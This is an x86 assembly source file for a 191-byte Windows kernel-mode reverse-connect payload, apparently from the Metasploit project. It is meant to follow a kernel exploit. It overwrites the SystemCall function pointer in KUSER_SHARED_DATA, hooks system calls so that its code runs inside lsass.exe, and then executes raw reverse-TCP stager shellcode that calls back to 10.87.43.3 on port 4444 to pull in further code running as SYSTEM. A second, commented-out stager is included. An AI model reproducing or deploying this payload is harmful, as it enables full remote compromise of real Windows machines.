;
; 191 byte kernel-mode reverse connect stager for 32-bit versions of Windows.
;
;
; This payload implements a reverse connect stager that is expected to be used
; in conjunction with a kernel-mode exploit.  The way that it accomplishes this is
; by placing a ring-3 payload (in this case a reverse connect stager) in an unused
; portion of SharedUserData at around 0x7ffe037c.  After doing that, it overwrites
; the KUSER_SHARED_DATA.SystemCall function pointer at 0xffdf0300 with a pointer
; to the custom code that resides in the unused portion of SharedUserData.  This
; makes it such that whenever a system call is issued from a user-mode process,
; it will call through the custom code.
;
; Prior to doing the reverse connect, the custom code has some logic to
; make sure that it's running in lsass.exe.  If it's not, it calls the original
; system call dispatcher.  If it's running in lsass, it checks to make sure
; PEB.SpareBool is not 1.  If it's one, then it just calls the original system
; call dispatcher.  Otherwise, it runs the reverse connect stager.  This has
; the affect of staging in more code that will run as SYSTEM in the context
; of lsass.
;
; By default, this stager will spin the kernel-mode thread that the code
; originally executed in.  Alternative recovery methods may need to be used
; depending on the bug.
;
; Not really that optimized.  Could be smaller.
;
; skape
; 10/2006
;
bits 32

entry:
	; jump forward to get the address of the r3 payload
	jmp  short get_payload_address

startup:
	; get the address that we're going to write to (KUSER_SHARED_DATA.SystemCall)
	mov  ebx, 0xffdf0301
	dec  ebx

copy_ring3_payload:
	; copy ring3 payload to 0xffdf037c
	cld 
	lea  edi, [ebx + 0x7c]
	pop  esi

	; calculate the number of dwords to copy and store it in ecx
	; note: if the r3 payload doesn't properly align on a 4 byte boundary,
	; bad things will happen.
	push byte (((call_orig_syscall - ring3_payload) / 4))
	pop  ecx

	; copy the entire r3 payload
	rep  movsd

save_fptr:
	; save the original function pointer for SystemCall at 0xffdf0308
	mov  eax, [ebx]
	lea  ecx, [ebx + 8]
	mov  [ecx], eax

append_indirect_jmp:
	; append an indirect jump to the original SystemCall after the r3 payload
	mov  word [edi], 0x25ff
	mov  dword [edi+2], 0x7ffe0308

overwrite_fptr:
	; overwrite the SystemCall attribute, making the ring3 SystemCall hook live.
	mov  dword [ebx], 0x7ffe037c

finish:
	; spin the calling thread.  this can be replaced with code that takes care of
	; cleaning things up so that the kernel can continue operating as normal.
	hlt
	jmp finish

get_payload_address:
	call startup

ring3_payload:

save_regs:
	; save registers since we're called like the system call handler
	pushad

is_lsass:
	; check to see if the ImageFile associated with this process has
	; lsass at a certain offset.
	mov  ebx, 0x0002063c ; 0002063c  6c 00 73 00 61 00 73 00-73 00 2e 00 65 00 78 00  l.s.a.s.s.
	mov  ecx, [ebx]      ; ecx = 0x0073006c
	add  ecx, [ebx+3]    ; ecx = 0x7373616c
	cmp  ecx, 0x7373616c
	jnz  restore_regs

has_been_run:
	; if we're running as lsass, check to see if we've already been
	; run once by checking the SpareBool flag in the PEB.
	push byte 0x30
	pop  ebx
	mov  ebx, [fs:ebx]
	inc  ebx
	inc  ebx
	inc  ebx

	cmp  byte [ebx], 0x1
	jz   restore_regs

save_been_run:
	; if we haven't been run, then set the flag that says we have by
	; setting SpareBool to 1.  This will prevent subsequent system call
	; executions from trying to run this code.
	mov  byte [ebx], 0x1
	jmp  short stager

restore_regs:
	; restore registers and call the original system call handler
	popad
	jmp  short call_orig_syscall

stager:
; reverse_ord_tcp stager from msf, lsass always has ws2_32
	db 0xfc,0x31,0xdb,0x64,0x8b,0x43,0x30,0x8b,0x40,0x0c,0x8b,0x50,0x1c,0x8b,0x12
	db 0x8b,0x72,0x20,0xad,0xad,0x4e,0x03,0x06,0x3d,0x32,0x33,0x5f,0x32,0x75,0xef
	db 0x8b,0x6a,0x08,0x8b,0x45,0x3c,0x8b,0x4c,0x05,0x78,0x8b,0x4c,0x0d,0x1c,0x01
	db 0xe9,0x8b,0x41,0x58,0x01,0xe8,0x8b,0x71,0x3c,0x01,0xee,0x03,0x69,0x0c,0x53
	db 0x6a,0x01,0x6a,0x02,0xff,0xd0,0x97
	db 0x81,0xEC,0x00,0x0C,0x00,0x00 ; sub esp, 0xc00
	db 0x68
	db 0x0a,0x57,0x2b,0x03 ; ip address (10.87.43.3)
	db 0x68,0x02,0x00
	db 0x11,0x5c ; port (4444)
	db 0x89,0xe1,0x53,0xb7,0x0c,0x53,0x51,0x57,0x51,0x6a,0x10,0x51,0x57
	db 0x56,0xff,0xe5

; reverse_tcp stager from msf
;	db 0xfc,0x6a,0xeb,0x47,0xe8,0xf9,0xff,0xff,0xff,0x60,0x31,0xdb,0x8b,0x7d,0x3c
;	db 0x8b,0x7c,0x3d,0x78,0x01,0xef,0x8b,0x57,0x20,0x01,0xea,0x8b,0x34,0x9a,0x01
;	db 0xee,0x31,0xc0,0x99,0xac,0xc1,0xca,0x0d,0x01,0xc2,0x84,0xc0,0x75,0xf6,0x43
;	db 0x66,0x39,0xca,0x75,0xe3,0x4b,0x8b,0x4f,0x24,0x01,0xe9,0x66,0x8b,0x1c,0x59
;	db 0x8b,0x4f,0x1c,0x01,0xe9,0x03,0x2c,0x99,0x89,0x6c,0x24,0x1c,0x61,0xff,0xe0
;	db 0x31,0xdb,0x64,0x8b,0x43,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x1c,0xad,0x8b,0x68
;	db 0x08,0x5e,0x66,0x53,0x66,0x68,0x33,0x32,0x68,0x77,0x73,0x32,0x5f,0x54,0x66
;	db 0xb9,0x72,0x60,0xff,0xd6,0x95,0x53,0x53,0x53,0x53,0x43,0x53,0x43,0x53,0x89
;	db 0xe7,0x66,0x81,0xef,0x08,0x02,0x57,0x53,0x66,0xb9,0xe7,0xdf,0xff,0xd6,0x66
;	db 0xb9,0xa8,0x6f,0xff,0xd6,0x97,0x68,
;	db 0x0a,0x57,0x2b,0x03 ; ip address (10.87.43.3)
;	db 0x66,0x68
;	db 0x11,0x5c ; port (4444)
;	db 0x66,0x53,0x89,0xe3,0x6a,0x10,0x53,0x57,0x66,0xb9,0x57,0x05,0xff,0xd6,0x50
;	db 0xb4,0x0c,0x50,0x53,0x57,0x53,0x66,0xb9,0xc0,0x38,0xff,0xe6

call_orig_syscall:
